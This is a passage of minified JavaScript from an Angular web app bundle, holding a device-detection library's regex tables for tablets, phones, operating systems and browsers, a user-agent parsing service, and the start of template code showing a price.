10)\\b"),SMiTTablet:/Android.*(\bMID\b|MID-560|MTV-T1200|MTV-PND531|MTV-P1101|MTV-PND530)/,RockChipTablet:/Android.*(RK2818|RK2808A|RK2918|RK3066)|RK2738|RK2808A/,FlyTablet:/IQ310|Fly Vision/,bqTablet:new RegExp("Android.*(bq)?.*(Elcano|Curie|Edison|Maxwell|Kepler|Pascal|Tesla|Hypatia|Platon|Newton|\n Livingstone|Cervantes|Avant|Aquaris ([E|M]10|M8))|Maxwell.*Lite|Maxwell.*Plus"),HuaweiTablet:new RegExp("MediaPad|MediaPad 7 Youth|MediaPad T3 10|IDEOS S7|S7-201c|S7-202u|S7-101|S7-103|S7-104|S7-105|S7-106|\n S7-201|S7-Slim|M2-A01L|BAH-L09|BAH-W09|AGS-W09"),NecTablet:/\bN-06D|\bN-08D/,PantechTablet:/Pantech.*P4100/,BronchoTablet:/Broncho.*(N701|N708|N802|a710)/,VersusTablet:/TOUCHPAD.*[78910]|\bTOUCHTAB\b/,ZyncTablet:/z1000|Z99 2G|z99|z930|z999|z990|z909|Z919|z900/,PositivoTablet:/TB07STA|TB10STA|TB07FTA|TB10FTA/,NabiTablet:/Android.*\bNabi/,KoboTablet:/Kobo Touch|\bK080\b|\bVox\b Build|\bArc\b Build/,DanewTablet:/DSlide.*\b(700|701R|702|703R|704|802|970|971|972|973|974|1010|1012)\b/,TexetTablet:new RegExp("NaviPad|TB-772A|TM-7045|TM-7055|TM-9750|TM-7016|TM-7024|TM-7026|TM-7041|TM-7043|TM-7047|\n TM-8041|TM-9741|TM-9747|TM-9748|TM-9751|TM-7022|TM-7021|TM-7020|TM-7011|TM-7010|TM-7023|TM-7025|\n TM-7037W|TM-7038W|TM-7027W|TM-9720|TM-9725|TM-9737W|TM-1020|TM-9738W|TM-9740|TM-9743W|TB-807A|TB-771A|\n TB-727A|TB-725A|TB-719A|TB-823A|TB-805A|TB-723A|TB-715A|TB-707A|TB-705A|TB-709A|TB-711A|TB-890HD|\n TB-880HD|TB-790HD|TB-780HD|TB-770HD|TB-721HD|TB-710HD|TB-434HD|TB-860HD|TB-840HD|TB-760HD|TB-750HD|\n TB-740HD|TB-730HD|TB-722HD|TB-720HD|TB-700HD|TB-500HD|TB-470HD|TB-431HD|TB-430HD|TB-506|TB-504|TB-446|\n TB-436|TB-416|TB-146SE|TB-126SE"),PlaystationTablet:/Playstation.*(Portable|Vita)/,TrekstorTablet:/ST10416-1|VT10416-1|ST70408-1|ST702xx-1|ST702xx-2|ST80208|ST97216|ST70104-2|VT10416-2|ST10216-2A|SurfTab/,PyleAudioTablet:/\b(PTBL10CEU|PTBL10C|PTBL72BC|PTBL72BCEU|PTBL7CEU|PTBL7C|PTBL92BC|PTBL92BCEU|PTBL9CEU|PTBL9CUK|PTBL9C)\b/,AdvanTablet:new RegExp("Android.* \\b(E3A|T3X|T5C|T5B|T3E|T3C|T3B|T1J|T1F|T2A|T1H|T1i|E1C|T1-E|T5-A|T4|E1-B|T2Ci|\n T1-B|T1-D|O1-A|E1-A|T1-A|T3A|T4i)\\b"),DanyTechTablet:"Genius Tab G3|Genius Tab S2|Genius Tab Q3|Genius Tab G4|Genius Tab Q4|Genius Tab G-II|\n Genius TAB GII|Genius TAB GIII|Genius Tab S1",GalapadTablet:/Android.*\bG1\b(?!\))/,MicromaxTablet:/Funbook|Micromax.*\b(P250|P560|P360|P362|P600|P300|P350|P500|P275)\b/,KarbonnTablet:/Android.*\b(A39|A37|A34|ST8|ST10|ST7|Smart Tab3|Smart Tab2)\b/,AllFineTablet:/Fine7 Genius|Fine7 Shine|Fine7 Air|Fine8 Style|Fine9 More|Fine10 Joy|Fine11 Wide/,PROSCANTablet:new RegExp("\\b(PEM63|PLT1023G|PLT1041|PLT1044|PLT1044G|PLT1091|PLT4311|PLT4311PL|PLT4315|PLT7030|\n PLT7033|PLT7033D|PLT7035|PLT7035D|PLT7044K|PLT7045K|PLT7045KB|PLT7071KG|PLT7072|PLT7223G|PLT7225G|\n PLT7777G|PLT7810K|PLT7849G|PLT7851G|PLT7852G|PLT8015|PLT8031|PLT8034|PLT8036|PLT8080K|PLT8082|PLT8088|\n PLT8223G|PLT8234G|PLT8235G|PLT8816K|PLT9011|PLT9045K|PLT9233G|PLT9735|PLT9760G|PLT9770G)\\b"),YONESTablet:/BQ1078|BC1003|BC1077|RK9702|BC9730|BC9001|IT9001|BC7008|BC7010|BC708|BC728|BC7012|BC7030|BC7027|BC7026/,ChangJiaTablet:new RegExp("TPC7102|TPC7103|TPC7105|TPC7106|TPC7107|TPC7201|TPC7203|TPC7205|TPC7210|TPC7708|TPC7709|\n TPC7712|TPC7110|TPC8101|TPC8103|TPC8105|TPC8106|TPC8203|TPC8205|TPC8503|TPC9106|TPC9701|TPC97101|TPC97103|\n TPC97105|TPC97106|TPC97111|TPC97113|TPC97203|TPC97603|TPC97809|TPC97205|TPC10101|TPC10103|TPC10106|\n TPC10111|TPC10203|TPC10205|TPC10503"),GUTablet:/TX-A1301|TX-M9002|Q702|kf026/,PointOfViewTablet:new RegExp("TAB-P506|TAB-navi-7-3G-M|TAB-P517|TAB-P-527|TAB-P701|TAB-P703|TAB-P721|TAB-P731N|\n TAB-P741|TAB-P825|TAB-P905|TAB-P925|TAB-PR945|TAB-PL1015|TAB-P1025|TAB-PI1045|TAB-P1325|TAB-PROTAB[0-9]+|\n TAB-PROTAB25|TAB-PROTAB26|TAB-PROTAB27|TAB-PROTAB26XL|TAB-PROTAB2-IPS9|TAB-PROTAB30-IPS9|TAB-PROTAB25XXL|\n TAB-PROTAB26-IPS10|TAB-PROTAB30-IPS10"),OvermaxTablet:new RegExp("OV-(SteelCore|NewBase|Basecore|Baseone|Exellen|Quattor|EduTab|Solution|ACTION|BasicTab|TeddyTab|\n MagicTab|Stream|TB-08|TB-09)|Qualcore 1027"),HCLTablet:/HCL.*Tablet|Connect-3G-2.0|Connect-2G-2.0|ME Tablet U1|ME Tablet U2|ME Tablet G1|ME Tablet X1|ME Tablet Y2|ME Tablet Sync/,DPSTablet:/DPS Dream 9|DPS Dual 7/,VistureTablet:/V97 HD|i75 3G|Visture V4( HD)?|Visture V5( HD)?|Visture V10/,CrestaTablet:/CTP(-)?810|CTP(-)?818|CTP(-)?828|CTP(-)?838|CTP(-)?888|CTP(-)?978|CTP(-)?980|CTP(-)?987|CTP(-)?988|CTP(-)?989/,MediatekTablet:/\bMT8125|MT8389|MT8135|MT8377\b/,ConcordeTablet:/Concorde([ ]+)?Tab|ConCorde ReadMan/,GoCleverTablet:new RegExp("GOCLEVER TAB|A7GOCLEVER|M1042|M7841|M742|R1042BK|R1041|TAB A975|TAB A7842|TAB A741|TAB A741L|TAB M723G|\n TAB M721|TAB A1021|TAB I921|TAB R721|TAB I720|TAB T76|TAB R70|TAB R76.2|TAB R106|TAB R83.2|TAB M813G|TAB I721|\n GCTA722|TAB I70|TAB I71|TAB S73|TAB R73|TAB R74|TAB R93|TAB R75|TAB R76.1|TAB A73|TAB A93|TAB A93.2|TAB T72|\n TAB R83|TAB R974|TAB R973|TAB A101|TAB A103|TAB A104|TAB A104.2|R105BK|M713G|A972BK|TAB A971|TAB R974.2|\n TAB R104|TAB R83.3|TAB A1042"),ModecomTablet:new RegExp("FreeTAB 9000|FreeTAB 7.4|FreeTAB 7004|FreeTAB 7800|FreeTAB 2096|FreeTAB 7.5|FreeTAB 1014|\n FreeTAB 1001 |FreeTAB 8001|FreeTAB 9706|FreeTAB 9702|FreeTAB 7003|FreeTAB 7002|FreeTAB 1002|FreeTAB 7801|\n FreeTAB 1331|FreeTAB 1004|FreeTAB 8002|FreeTAB 8014|FreeTAB 9704|FreeTAB 1003"),VoninoTablet:new RegExp("\\b(Argus[ _]?S|Diamond[ _]?79HD|Emerald[ _]?78E|Luna[ _]?70C|Onyx[ _]?S|Onyx[ _]?Z|\n Orin[ _]?HD|Orin[ _]?S|Otis[ _]?S|SpeedStar[ _]?S|Magnet[ _]?M9|Primus[ _]?94[ _]?3G|Primus[ _]?94HD|\n Primus[ _]?QS|Android.*\\bQ8\\b|Sirius[ _]?EVO[ _]?QS|Sirius[ _]?QS|Spirit[ _]?S)\\b"),ECSTablet:/V07OT2|TM105A|S10OT1|TR10CS1/,StorexTablet:/eZee[_']?(Tab|Go)[0-9]+|TabLC7|Looney Tunes Tab/,VodafoneTablet:/SmartTab([ ]+)?[0-9]+|SmartTabII10|SmartTabII7|VF-1497/,EssentielBTablet:/Smart[ ']?TAB[ ]+?[0-9]+|Family[ ']?TAB2/,RossMoorTablet:/RM-790|RM-997|RMD-878G|RMD-974R|RMT-705A|RMT-701|RME-601|RMT-501|RMT-711/,iMobileTablet:/i-mobile i-note/,TolinoTablet:/tolino tab [0-9.]+|tolino shine/,AudioSonicTablet:/\bC-22Q|T7-QC|T-17B|T-17P\b/,AMPETablet:/Android.* A78 /,SkkTablet:/Android.* (SKYPAD|PHOENIX|CYCLOPS)/,TecnoTablet:/TECNO P9|TECNO DP8D/,JXDTablet:new RegExp("Android.* \\b(F3000|A3300|JXD5000|JXD3000|JXD2000|JXD300B|JXD300|S5800|S7800|S602b|S5110b|S7300|\n S5300|S602|S603|S5100|S5110|S601|S7100a|P3000F|P3000s|P101|P200s|P1000m|P200m|P9100|P1000s|S6600b|S908|\n P1000|P300|S18|S6600|S9100)\\b"),iJoyTablet:new RegExp("Tablet (Spirit 7|Essentia|Galatea|Fusion|Onix 7|Landa|Titan|Scooby|Deox|Stella|Themis|Argon|\n Unique 7|Sygnus|Hexen|Finity 7|Cream|Cream X2|Jade|Neon 7|Neron 7|Kandy|Scape|Saphyr 7|Rebel|Biox|Rebel|\n Rebel 8GB|Myst|Draco 7|Myst|Tab7-004|Myst|Tadeo Jones|Tablet Boing|Arrow|Draco Dual Cam|Aurix|Mint|Amity|\n Revolution|Finity 9|Neon 9|T9w|Amity 4GB Dual Cam|Stone 4GB|Stone 8GB|Andromeda|Silken|X2|Andromeda II|\n Halley|Flame|Saphyr 9,7|Touch 8|Planet|Triton|Unique 10|Hexen 10|Memphis 4GB|Memphis 8GB|Onix 10)"),FX2Tablet:/FX2 PAD7|FX2 PAD10/,XoroTablet:new RegExp("KidsPAD 701|PAD[ ]?712|PAD[ ]?714|PAD[ ]?716|PAD[ ]?717|PAD[ ]?718|PAD[ ]?720|PAD[ ]?721|\n PAD[ ]?722|PAD[ ]?790|PAD[ ]?792|PAD[ ]?900|PAD[ ]?9715D|PAD[ ]?9716DR|PAD[ ]?9718DR|PAD[ ]?9719QR|\n PAD[ ]?9720QR|TelePAD1030|Telepad1032|TelePAD730|TelePAD731|TelePAD732|TelePAD735Q|TelePAD830|TelePAD9730|\n TelePAD795|MegaPAD 1331|MegaPAD 1851|MegaPAD 2151"),ViewsonicTablet:/ViewPad 10pi|ViewPad 10e|ViewPad 10s|ViewPad E72|ViewPad7|ViewPad E100|ViewPad 7e|ViewSonic VB733|VB100a/,VerizonTablet:/QTAQZ3|QTAIR7|QTAQTZ3|QTASUN1|QTASUN2|QTAXIA1/,OdysTablet:/LOOX|XENO10|ODYS[ -](Space|EVO|Xpress|NOON)|\bXELIO\b|Xelio10Pro|XELIO7PHONETAB|XELIO10EXTREME|XELIOPT2|NEO_QUAD10/,CaptivaTablet:/CAPTIVA PAD/,IconbitTablet:new RegExp("NetTAB|NT-3702|NT-3702S|NT-3702S|NT-3603P|NT-3603P|NT-0704S|NT-0704S|NT-3805C|NT-3805C|\n NT-0806C|NT-0806C|NT-0909T|NT-0909T|NT-0907S|NT-0907S|NT-0902S|NT-0902S"),TeclastTablet:new RegExp("T98 4G|\\bP80\\b|\\bX90HD\\b|X98 Air|X98 Air 3G|\\bX89\\b|P80 3G|\\bX80h\\b|P98 Air|\n \\bX89HD\\b|P98 3G|\\bP90HD\\b|P89 3G|X98 3G|\\bP70h\\b|P79HD 3G|G18d 3G|\\bP79HD\\b|\\bP89s\\b|\\bA88\\b|\n \\bP10HD\\b|\\bP19HD\\b|G18 3G|\\bP78HD\\b|\\bA78\\b|\\bP75\\b|G17s 3G|G17h 3G|\\bP85t\\b|\\bP90\\b|\n \\bP11\\b|\\bP98t\\b|\\bP98HD\\b|\\bG18d\\b|\\bP85s\\b|\\bP11HD\\b|\\bP88s\\b|\\bA80HD\\b|\\bA80se\\b|\n \\bA10h\\b|\\bP89\\b|\\bP78s\\b|\\bG18\\b|\\bP85\\b|\\bA70h\\b|\\bA70\\b|\\bG17\\b|\\bP18\\b|\\bA80s\\b|\n \\bA11s\\b|\\bP88HD\\b|\\bA80h\\b|\\bP76s\\b|\\bP76h\\b|\\bP98\\b|\\bA10HD\\b|\\bP78\\b|\\bP88\\b|\\bA11\\b|\n \\bA10t\\b|\\bP76a\\b|\\bP76t\\b|\\bP76e\\b|\\bP85HD\\b|\\bP85a\\b|\\bP86\\b|\\bP75HD\\b|\\bP76v\\b|\\bA12\\b|\n \\bP75a\\b|\\bA15\\b|\\bP76Ti\\b|\\bP81HD\\b|\\bA10\\b|\\bT760VE\\b|\\bT720HD\\b|\\bP76\\b|\\bP73\\b|\\bP71\\b|\n \\bP72\\b|\\bT720SE\\b|\\bC520Ti\\b|\\bT760\\b|\\bT720VE\\b|T720-3GE|T720-WiFi"),OndaTablet:new RegExp("\\b(V975i|Vi30|VX530|V701|Vi60|V701s|Vi50|V801s|V719|Vx610w|VX610W|V819i|Vi10|VX580W|Vi10|\n V711s|V813|V811|V820w|V820|Vi20|V711|VI30W|V712|V891w|V972|V819w|V820w|Vi60|V820w|V711|V813s|V801|V819|\n V975s|V801|V819|V819|V818|V811|V712|V975m|V101w|V961w|V812|V818|V971|V971s|V919|V989|V116w|V102w|V973|\n Vi40)\\b[s]+|V10 \\b4G\\b"),JaytechTablet:/TPC-PA762/,BlaupunktTablet:/Endeavour 800NG|Endeavour 1010/,DigmaTablet:/\b(iDx10|iDx9|iDx8|iDx7|iDxD7|iDxD8|iDsQ8|iDsQ7|iDsQ8|iDsD10|iDnD7|3TS804H|iDsQ11|iDj7|iDs10)\b/,EvolioTablet:/ARIA_Mini_wifi|Aria[ _]Mini|Evolio X10|Evolio X7|Evolio X8|\bEvotab\b|\bNeura\b/,LavaTablet:/QPAD E704|\bIvoryS\b|E-TAB IVORY|\bE-TAB\b/,AocTablet:/MW0811|MW0812|MW0922|MTK8382|MW1031|MW0831|MW0821|MW0931|MW0712/,MpmanTablet:new RegExp("MP11 OCTA|MP10 OCTA|MPQC1114|MPQC1004|MPQC994|MPQC974|MPQC973|MPQC804|MPQC784|MPQC780|\n \\bMPG7\\b|MPDCG75|MPDCG71|MPDC1006|MP101DC|MPDC9000|MPDC905|MPDC706HD|MPDC706|MPDC705|MPDC110|\n MPDC100|MPDC99|MPDC97|MPDC88|MPDC8|MPDC77|MP709|MID701|MID711|MID170|MPDC703|MPQC1010"),CelkonTablet:/CT695|CT888|CT[\s]?910|CT7 Tab|CT9 Tab|CT3 Tab|CT2 Tab|CT1 Tab|C820|C720|\bCT-1\b/,WolderTablet:new RegExp("miTab \\b(DIAMOND|SPACE|BROOKLYN|NEO|FLY|MANHATTAN|FUNK|EVOLUTION|SKY|GOCAR|IRON|GENIUS|\n POP|MINT|EPSILON|BROADWAY|JUMP|HOP|LEGEND|NEW AGE|LINE|ADVANCE|FEEL|FOLLOW|LIKE|LINK|LIVE|THINK|\n FREEDOM|CHICAGO|CLEVELAND|BALTIMORE-GH|IOWA|BOSTON|SEATTLE|PHOENIX|DALLAS|IN 101|MasterChef)\\b"),MediacomTablet:"M-MPI10C3G|M-SP10EG|M-SP10EGP|M-SP10HXAH|M-SP7HXAH|M-SP10HXBH|M-SP8HXAH|M-SP8MXA",MiTablet:/\bMI PAD\b|\bHM NOTE 1W\b/,NibiruTablet:/Nibiru M1|Nibiru Jupiter One/,NexoTablet:/NEXO NOVA|NEXO 10|NEXO AVIO|NEXO FREE|NEXO GO|NEXO EVO|NEXO 3G|NEXO SMART|NEXO KIDDO|NEXO MOBI/,LeaderTablet:new RegExp("TBLT10Q|TBLT10I|TBL-10WDKB|TBL-10WDKBO2013|TBL-W230V2|TBL-W450|TBL-W500|SV572|TBLT7I|\n TBA-AC7-8G|TBLT79|TBL-8W16|TBL-10W32|TBL-10WKB|TBL-W100"),UbislateTablet:/UbiSlate[\s]?7C/,PocketBookTablet:/Pocketbook/,KocasoTablet:/\b(TB-1207)\b/,HisenseTablet:/\b(F5281|E2371)\b/,Hudl:/Hudl HT7S3|Hudl 2/,TelstraTablet:/T-Hub2/,Honeywell:/RT10A/,GenericTablet:new RegExp("Android.*\\b97D\\b|Tablet(?!.*PC)|BNTV250A|MID-WCDMA|LogicPD Zoom2|\\bA7EB\\b|CatNova8|\n A1_07|CT704|CT1002|\\bM721\\b|rk30sdk|\\bEVOTAB\\b|M758A|ET904|ALUMIUM10|Smartfren Tab|Endeavour 1010|\n Tablet-PC-4|Tagi Tab|\\bM6pro\\b|CT1020W|arc 10HD|\\bTP750\\b|\\bQTAQZ3\\b|WVT101|TM1088|KT107")},QN={BLACKBERRY:"Blackberry",FIREFOX_OS:"Firefox-OS",CHROME_BOOK:"Chrome-Book",WINDOWS_PHONE:"Windows-Phone",VITA:"Vita",PS4:"PS4",MAC:"Macintosh",CHROMECAST:"Chromecast",APPLE_TV:"Apple-TV",GOOGLE_TV:"Google-TV",ANDROID:"Android",Tesla:"Tesla",iPad:"iPad",IPHONE:"iPhone",iPod:"iPod",UNKNOWN:qN.UKNOWN,HTC:"HTC",NEXUS_PHONE:"Nexus Phone",NexusTablet:"Nexus Tablet",DELL:"Dell",MOTOROLA:"Motorola",SAMSUNG:"Samsung",LG:"LG",SONY:"Sony",ASUS:"Asus",NOKIA_LUMIA:"Nokia Lumia",MICROMAX:"Micromax",PALM:"Palm",VERTU:"Vertu",PANTECH:"PANTECH",FLY:"Fly",WIKO:"WIKO",I_MOBILE:"i-mobile",SIMVALLEY:"Simvalley",WOLFGANG:"Wolfgang",ALCATEL:"Alcatel",HONEYWELL:"Honeywell",NINTENDO:"Nintendo",AMOI:"Amoi",INQ:"INQ",GENERIC_PHONE:"Generic Phone",MI_SE_9:"Mi SE 9"},XN=[QN.PS4,QN.CHROME_BOOK,QN.MAC,QN.DELL,QN.ASUS,QN.UNKNOWN],ZN={WINDOWS:"Windows",MAC:"Mac",IOS:"iOS",ANDROID:"Android",LINUX:"Linux",UNIX:"Unix",FIREFOX_OS:"Firefox-OS",CHROME_OS:"Chrome-OS",WINDOWS_PHONE:"Windows-Phone",UNKNOWN:qN.UKNOWN},YN={WINDOWS_3_11:"windows-3-11",WINDOWS_95:"windows-95",WINDOWS_ME:"windows-me",WINDOWS_98:"windows-98",WINDOWS_CE:"windows-ce",WINDOWS_2000:"windows-2000",WINDOWS_XP:"windows-xp",WINDOWS_SERVER_2003:"windows-server-2003",WINDOWS_VISTA:"windows-vista",WINDOWS_7:"windows-7",WINDOWS_8_1:"windows-8-1",WINDOWS_8:"windows-8",WINDOWS_10:"windows-10",WINDOWS_PHONE_7_5:"windows-phone-7-5",WINDOWS_PHONE_8_1:"windows-phone-8-1",WINDOWS_PHONE_10:"windows-phone-10",WINDOWS_NT_4_0:"windows-nt-4-0",MACOSX_11_0:"mac-os-x-11-0",MACOSX_16:"mac-os-x-16",MACOSX_15:"mac-os-x-15",MACOSX_14:"mac-os-x-14",MACOSX_13:"mac-os-x-13",MACOSX_12:"mac-os-x-12",MACOSX_11:"mac-os-x-11",MACOSX_10:"mac-os-x-10",MACOSX_9:"mac-os-x-9",MACOSX_8:"mac-os-x-8",MACOSX_7:"mac-os-x-7",MACOSX_6:"mac-os-x-6",MACOSX_5:"mac-os-x-5",MACOSX_4:"mac-os-x-4",MACOSX_3:"mac-os-x-3",MACOSX_2:"mac-os-x-2",MACOSX:"mac-os-x",iOS:"iOS",ANDROID_9:"android-9",UNKNOWN:qN.UKNOWN.toLowerCase()},JN={WINDOWS:{and:[{or:[/\bWindows|(Win\d\d)\b/,/\bWin 9x\b/]},{not:/\bWindows Phone\b/}]},MAC:{and:[/\bMac OS\b/,{not:{or:[/\biPhone\b/,/\biPad\b/,/\biPod\b/,/\bWindows Phone\b/]}}]},IOS:{and:[{or:[/\biPad\b/,/\biPhone\b/,/\biPod\b/]},{not:/\bWindows Phone\b/}]},ANDROID:{and:[/\bAndroid\b/,{not:/\bWindows Phone\b/}]},LINUX:/\bLinux\b/,UNIX:/\bUNIX\b/,FIREFOX_OS:{and:[/\bFirefox\b/,/Mobile\b/]},CHROME_OS:/\bCrOS\b/,WINDOWS_PHONE:{or:[/\bIEMobile\b/,/\bWindows Phone\b/]},PS4:/\bMozilla\/5.0 \(PlayStation 4\b/,VITA:/\bMozilla\/5.0 \(Play(S|s)tation Vita\b/},tR=Object.assign(Object.assign(Object.assign(Object.assign({},KN),$N),JN),{FIREFOX_OS:{and:[/\bFirefox\b/,/\bMobile\b/]},CHROME_BOOK:/\bCrOS\b/,PS4:/\bMozilla\/5.0 \(PlayStation 4\b/,CHROMECAST:/\bCrKey\b/,APPLE_TV:/^iTunes-AppleTV\/4.1$/,GOOGLE_TV:/\bGoogleTV\b/,Tesla:/Tesla\/([0-9]{4}.[0-9]{1,2}.?[0-9]{0,2}.?[0-9]{0,2})-(.{7})/,MI_SE_9:/\bXiaomi\b/,MAC:{and:[/\bMac OS\b/,{not:{or:[/\biPhone\b/,/\biPad\b/,/\biPod\b/,/\bWindows Phone\b/]}}]}}),eR={WINDOWS_3_11:/Win16/,WINDOWS_95:/(Windows 95|Win95|Windows_95)/,WINDOWS_ME:/(Win 9x 4.90|Windows ME)/,WINDOWS_98:/(Windows 98|Win98)/,WINDOWS_CE:/Windows CE/,WINDOWS_2000:/(Windows NT 5.0|Windows 2000)/,WINDOWS_XP:/(Windows NT 5.1|Windows XP)/,WINDOWS_SERVER_2003:/Windows NT 5.2/,WINDOWS_VISTA:/Windows NT 6.0/,WINDOWS_7:/(Windows 7|Windows NT 6.1)/,WINDOWS_8_1:/(Windows 8.1|Windows NT 6.3)/,WINDOWS_8:/(Windows 8|Windows NT 6.2)/,WINDOWS_10:/(Windows NT 10.0)/,WINDOWS_PHONE_7_5:/(Windows Phone OS 7.5)/,WINDOWS_PHONE_8_1:/(Windows Phone 8.1)/,WINDOWS_PHONE_10:/(Windows Phone 10)/,WINDOWS_NT_4_0:{and:[/(Windows NT 4.0|WinNT4.0|WinNT|Windows NT)/,{not:/Windows NT 10.0/}]},MACOSX:/(MAC OS X\s*[^ 0-9])/,MACOSX_3:/(Darwin 10.3|Mac OS X 10.3)/,MACOSX_4:/(Darwin 10.4|Mac OS X 10.4)/,MACOSX_5:/(Mac OS X 10.5)/,MACOSX_6:/(Mac OS X 10.6)/,MACOSX_7:/(Mac OS X 10.7)/,MACOSX_8:/(Mac OS X 10.8)/,MACOSX_9:/(Mac OS X 10.9)/,MACOSX_10:/(Mac OS X 10.10)/,MACOSX_11:/(Mac OS X 10.11)/,MACOSX_12:/(Mac OS X 10.12)/,MACOSX_13:/(Mac OS X 10.13)/,MACOSX_14:/(Mac OS X 10.14)/,MACOSX_15:/(Mac OS X 10.15)/,MACOSX_16:/(Mac OS X 10.16)/,MACOSX_11_0:{or:[/11_0 like Mac OS X/,/Mac OS X 11/]},iOS:/(iPhone OS\s*[0-9_]+)/,ANDROID_9:/(Android 9)/},nR={CHROME:[/\bChrome\/([\d\.]+)\b/,/\bCriOS\/([\d\.]+)\b/,/\bHeadlessChrome\/([\d\.]+)\b/],FIREFOX:[/\bFirefox\/([\d\.]+)\b/,/\bFxiOS\/([\d\.]+)\b/],SAFARI:[/\bVersion\/([\d\.]+)\b/,/\bSafari\/([\d\.]+)\b/],OPERA:[/\bVersion\/([\d\.]+)\b/,/\bOPR\/([\d\.]+)\b/],IE:[/\bMSIE ([\d\.]+\w?)\b/,/\brv:([\d\.]+\w?)\b/],MS_EDGE:/\bEdg(?:e|A|iOS)\/([\d\.]+)\b/,MS_EDGE_CHROMIUM:/\bEdg\/([\d\.]+)\b/,SAMSUNG:/\bSamsungBrowser\/([\d\.]+)\b/,UCBROWSER:/\bUCBrowser\/([\d\.]+)\b/},rR=Object.keys(eR).reduce((t,e)=>(t[e]=eR[e],t),{}),iR=Object.keys(nR).reduce((t,e)=>(t[WN[e]]=nR[e],t),{});var oR=Object.freeze({__proto__:null,GENERAL:qN,BROWSERS:WN,MOBILES_RE:KN,TABLETS_RE:$N,DEVICES:QN,DESKTOP_DEVICES:XN,OS:ZN,OS_VERSIONS:YN,OS_RE:JN,BROWSERS_RE:{CHROME:{and:[{or:[/\bChrome\b/,/\bCriOS\b/,/\bHeadlessChrome\b/]},{not:{or:[/\bOPR\b/,/\bEdg(e|A|iOS)\b/,/\bEdg\/\b/,/\bSamsungBrowser\b/,/\bUCBrowser\b/]}}]},FIREFOX:{or:[/\bFirefox\b/,/\bFxiOS\b/]},SAFARI:{and:[/^((?!CriOS).)*\Safari\b.*$/,{not:{or:[/\bOPR\b/,/\bEdg(e|A|iOS)\b/,/\bEdg\/\b/,/\bWindows Phone\b/,/\bSamsungBrowser\b/,/\bUCBrowser\b/]}}]},OPERA:{or:[/Opera\b/,/\bOPR\b/]},IE:{or:[/\bMSIE\b/,/\bTrident\b/,/^Mozilla\/5\.0 \(Windows NT 10\.0; Win64; x64\)$/]},MS_EDGE:{or:[/\bEdg(e|A|iOS)\b/]},MS_EDGE_CHROMIUM:/\bEdg\/\b/,PS4:/\bMozilla\/5.0 \(PlayStation 4\b/,VITA:/\bMozilla\/5.0 \(Play(S|s)tation Vita\b/,FB_MESSANGER:/\bFBAN\/MessengerForiOS\b/,SAMSUNG:/\bSamsungBrowser\b/,UCBROWSER:/\bUCBrowser\b/},DEVICES_RE:tR,OS_VERSIONS_RE_MAP:eR,BROWSER_VERSIONS_RE_MAP:nR,OS_VERSIONS_RE:rR,BROWSER_VERSIONS_RE:iR});class sR{constructor(){}test(t,e){return"string"==typeof e&&(e=new RegExp(e)),e instanceof RegExp?e.test(t):e&&Array.isArray(e.and)?e.and.every(e=>this.test(t,e)):e&&Array.isArray(e.or)?e.or.some(e=>this.test(t,e)):!(!e||!e.not||this.test(t,e.not))}exec(t,e){return"string"==typeof e&&(e=new RegExp(e)),e instanceof RegExp?e.exec(t):e&&Array.isArray(e)?e.reduce((e,n)=>e||this.exec(t,n),null):null}}var aR=(()=>(function(t){t.Mobile="mobile",t.Tablet="tablet",t.Desktop="desktop",t.Unknown="unknown"}(aR||(aR={})),aR))(),cR=(()=>(function(t){t.Portrait="portrait",t.Landscape="landscape"}(cR||(cR={})),cR))();const lR="iPad";let uR=(()=>{class t{constructor(t){this.platformId=t,this.ua="",this.userAgent="",this.os="",this.browser="",this.device="",this.os_version="",this.browser_version="",this.reTree=new sR,this.deviceType="",this.orientation="",Ct(this.platformId)&&"undefined"!=typeof window&&(this.userAgent=window.navigator.userAgent),this.setDeviceInfo(this.userAgent)}setDeviceInfo(t=this.userAgent){t!==this.userAgent&&(this.userAgent=t);const e=[{const:"OS",prop:"os"},{const:"BROWSERS",prop:"browser"},{const:"DEVICES",prop:"device"},{const:"OS_VERSIONS",prop:"os_version"}];if(e.forEach(e=>{this[e.prop]=Object.keys(oR[e.const]).reduce((n,r)=>"device"===oR[e.const][r]&&Ct(this.platformId)&&(this.reTree.test(this.userAgent,$N[lR])||"MacIntel"===navigator.platform&&navigator.maxTouchPoints>1)?(n[oR[e.const][r]]=lR,Object):(n[oR[e.const][r]]=this.reTree.test(t,oR[`${e.const}_RE`][r]),n),{})}),e.forEach(t=>{this[t.prop]=Object.keys(oR[t.const]).map(e=>oR[t.const][e]).reduce((e,n)=>"device"===t.prop&&e===oR[t.const].ANDROID?this[t.prop][n]?n:e:e===oR[t.const].UNKNOWN&&this[t.prop][n]?n:e,oR[t.const].UNKNOWN)}),this.browser_version="0",this.browser!==WN.UNKNOWN){const e=this.reTree.exec(t,iR[this.browser]);e&&(this.browser_version=e[1])}this.orientation="undefined"!=typeof window&&window.matchMedia?window.matchMedia("(orientation: landscape)").matches?cR.Landscape:cR.Portrait:qN.UKNOWN,this.deviceType=this.isTablet()?aR.Tablet:this.isMobile(this.userAgent)?aR.Mobile:this.isDesktop(this.userAgent)?aR.Desktop:aR.Unknown}getDeviceInfo(){return{userAgent:this.userAgent,os:this.os,browser:this.browser,device:this.device,os_version:this.os_version,browser_version:this.browser_version,deviceType:this.deviceType,orientation:this.orientation}}isMobile(t=this.userAgent){return!this.isTablet(t)&&!!Object.keys(KN).find(e=>this.reTree.test(t,KN[e]))}isTablet(t=this.userAgent){return!(!Ct(this.platformId)||!(this.reTree.test(this.userAgent,$N[lR])||"undefined"!=typeof navigator&&"MacIntel"===navigator.platform&&navigator.maxTouchPoints>1))||!!Object.keys($N).find(e=>!!this.reTree.test(t,$N[e]))}isDesktop(t=this.userAgent){return(this.device!==QN.UNKNOWN||!this.isMobile(t)&&!this.isTablet(t))&&XN.indexOf(this.device)>-1}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.PLATFORM_ID))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();var dR=n(4836);const hR=["placesRef"];function pR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"strong",41),r.\u0275\u0275text(1,"\u20ac 2,84 "),r.\u0275\u0275elementEnd())}function fR(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",42),r.\u0275\u0275element(1,"div",43),r.\u0275\u0275elementStart(2,"p",44),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function 